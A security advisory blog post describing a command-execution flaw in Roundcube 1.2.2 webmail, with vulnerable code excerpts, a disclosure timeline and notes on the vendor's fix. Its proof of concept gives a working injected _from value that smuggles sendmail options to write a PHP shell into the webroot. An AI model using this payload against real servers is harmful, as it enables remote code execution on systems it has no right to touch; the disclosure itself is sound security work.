The mirror on SourceForge counts more than 260,000 downloads for Roundcube in the last 12 months1 which is only a small fraction of the actual users. Once Roundcube is installed on a server, it provides a web interface for authenticated users to send and receive emails with their web browser.

RIPS Analysis

It took RIPS exactly 25 seconds to fully analyze the whole application and to detect the security vulnerabilities shown in the charts above. Although it seems that the issues come in numbers, many of them turned out to be less severe because they were parts of the installation module or of dead legacy code. Regardless, it is adviced to also fix these vulnerabilities and to remove the dead code in order to prevent future unsafe use or combinations with other security bugs, as demonstrated in earlier posts of our advent calendar.

Requirements

The vulnerability has the following requirements for exploitation:

  • Roundcube must be configured to use PHP’s mail() function (by default, if no SMTP was specified 2 )
  • PHP’s mail() function is configured to use sendmail (by default, see sendmail_path 3 )
  • PHP is configured to have safe_mode turned off (by default, see safe_mode 4 )
  • An attacker must know or guess the absolute path of the webroot

These requirements are not particular demanding which in turn means that there were a lot of vulnerable systems in the wild.

Description

In Roundcube 1.2.2 and earlier, user-controlled input flows unsanitized into the fifth argument of a call to PHP’s built-in function mail() which is documented as critical in terms of security. The problem is that the invocation of the mail() function will cause PHP to execute the sendmail program. The fifth argument allows passing additional parameters to this execution which allows a configuration of sendmail. Since sendmail offers the -X option to log all mail traffic in a file, an attacker can abuse this option and spawn a malicious PHP file in the webroot directory of the attacked server. Although this vulnerability is rare and not widely known, RIPS detected it within seconds. The following code lines trigger the vulnerability.

program/steps/mail/sendmail.inc

90
91
92
$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);

$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);

Here, the value of the POST parameter _from is fetched and Roundcube’s deliver_message() method is invoked with the value used as second argument $from.

program/lib/Roundcube/rcube.php

1578
1579
1580
1581
1582
1583
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
    
    if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
        $sent = mail($to, $subject, $msg_body, $header_str);
    else
        $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");

This method will then pass the $from parameter to a call of the mail() function. The idea is to pass a custom from header to the sendmail program via the -f option.

Insufficient Sanitization

An interesting part is that it seems as if the from e-mail address is filtered beforehand with a regular expression. Basically, the $from parameter is expected to have no whitespaces which would limit the possibility to attach other parameters behind the -f parameter. Using whitespace constants such as $IFS or injecting new shell commands ` does not succeed at this point. However, there is a logical flaw in the application that causes the sanitization to fail.

program/steps/mail/sendmail.inc

104
105
106
107
108
109
else if ($from_string = rcmail_email_input_format($from)) {
    if (preg_match('/(\S+@\S+)/', $from_string, $m))
        $from = trim($m[1], &#39;<>&#39;);
    else
        $from = null;
}

In line 105, an email is extracted from the user-controlled variable $from that contains no whitespaces. However, this extraction only takes place when the rcmail_email_input_format() function returns a value equivalent to TRUE. In the following, we will examine this function closely.

program/steps/mail/sendmail.inc

850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
function rcmail_email_input_format($mailto, $count=false, $check=true)
{
    global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
    // simplified email regexp, supporting quoted local part
    $email_regexp = &#39;(\S+|(&#34;[^&#34;]+&#34;))@\S+&#39;;
    
    // replace new lines and strip ending &#39;, &#39;, make address input more valid
    $mailto = trim(preg_replace($regexp, $replace, $mailto));
    $items  = rcube_utils::explode_quoted_string($delim, $mailto);
    $result = array();
    foreach ($items as $item) {
        $item = trim($item);
        // address in brackets without name (do nothing)
        if (preg_match(&#39;/^<&#39;.$email_regexp.&#39;>$/&#39;, $item)) {
            $item     = rcube_utils::idn_to_ascii(trim($item, &#39;<>&#39;));
            $result[] = $item;
        }
        
        else if (trim($item)) {
            continue;
        }
        
    }
    if ($count) {
        $RECIPIENT_COUNT += count($result);
    }
    return implode(&#39;, &#39;, $result);
}

The function uses another regular expression in line 863 which requires that the line ends ($) right after the email match. A payload used by an attacker does not have to match this regex and therefore the array $result will stay empty after the foreach loop. In this case, the implode() function in line 876 will return an empty string (equal to FALSE) and the $from variable is not altered nor sanitized.

Proof of Concept

When an email is sent with Roundcube, the HTTP request can be intercepted and altered. Here, the _from parameter can be modified in order to place a malicious PHP file on the file system.

1
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php

This allows an attacker to spawn a shell file rce.php in the web root directory with the contents of the _subject parameter that can contain PHP code. After performing the request, a file with the following content is created:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
04731 >>> "Recipient names must be specified"
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<<  format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]

Since the email data is unencoded, the subject parameter will be reflected in plaintext which allows the injection of PHP tags into the shell file.

Time Line

Date What
2016/11/21 First contact with vendor
2016/11/22 Vendor fixes vulnerability on GitHub
2016/11/28 Vendor agrees to coordinated disclosure
2016/11/28 Vendor releases updated version Roundcube 1.2.3

Summary

Roundcube 1.2.2 is resistant against many attack vectors and a large community works on the software continuously together securing the application. However, the vulnerability described in this post could slip through and is an edge-case due to its rarity. With the aid of automated testing, it is not only possible to detect such edge-cases, but it allows to save human resources and therefore focus on different aspects in the development process of a secure web application.

We would like to thank the Roundcube team for the very quick fix after just one day, and the new release made available only after one week! This is a very impressive and professional response towards security issues.


Follow us on Twitter to be notified when the next gift of our advent calendar is opened!

APAV Time Table

Date Author Title
24 Dec 2016 Johannes Dahse What we learned from our Advent Calendar
23 Dec 2016 Hendrik Buchwald e107 2.1.2: SQL Injection through Object Injection
22 Dec 2016 Daniel Peeren Security Compliance with Static Code Analysis
21 Dec 2016 Martin Bednorz AbanteCart 1.2.8 - Multiple SQL Injections
20 Dec 2016 Martin Bednorz Kliqqi 3.0.0.5: From Cross-Site Request Forgery to Code Execution
19 Dec 2016 Robin Peraglie osClass 3.6.1: Remote Code Execution via Image File
18 Dec 2016 Daniel Peeren Continuous Integration - Jenkins at your service
17 Dec 2016 Johannes Dahse OpenConf 5.30 - Multi-Step Remote Command Execution
16 Dec 2016 Robin Peraglie Redaxo 5.2.0: Remote Code Execution via CSRF
15 Dec 2016 Dennis Detering Guest Post: Vtiger 6.5.0 - SQL Injection
14 Dec 2016 Hendrik Buchwald The State of Wordpress Security
13 Dec 2016 Johannes Dahse phpBB 2.0.23 - From Variable Tampering to SQL Injection
12 Dec 2016 Martin Bednorz Teampass 2.1.26.8: Unauthenticated SQL Injection
11 Dec 2016 Daniel Peeren Rescanning Applications with RIPS
10 Dec 2016 Hendrik Buchwald Non-Exploitable Security Issues
9 Dec 2016 Hendrik Buchwald Precurio 2.1: Remote Command Execution via Xinha Plugin
8 Dec 2016 Martin Bednorz PHPKit 1.6.6: Code Execution for Privileged Users
7 Dec 2016 Hendrik Buchwald Serendipity 2.0.3: From File Upload to Code Execution
6 Dec 2016 Robin Peraglie Roundcube 1.2.2: Command Execution via Email
5 Dec 2016 Hendrik Buchwald Expression Engine 3.4.2: Code Reuse Attack
4 Dec 2016 Johannes Dahse Introducing the RIPS analysis engine
3 Dec 2016 Martin Bednorz eFront 3.6.15: Steal your professors password
2 Dec 2016 Martin Bednorz Coppermine 1.5.42: Second-Order Command Execution
1 Dec 2016 Hendrik Buchwald FreePBX 13: From Cross-Site Scripting to Remote Command Execution
25 Nov 2016 Martin Bednorz Announcing the Advent of PHP Application Vulnerabilities

Disclaimer: The information provided here is for educational purposes only. It is your responsibility to obey all applicable local, state and federal laws. RIPS Technologies GmbH assumes no liability and is not responsible for any misuse or damages caused by direct or indirect use of the information provided.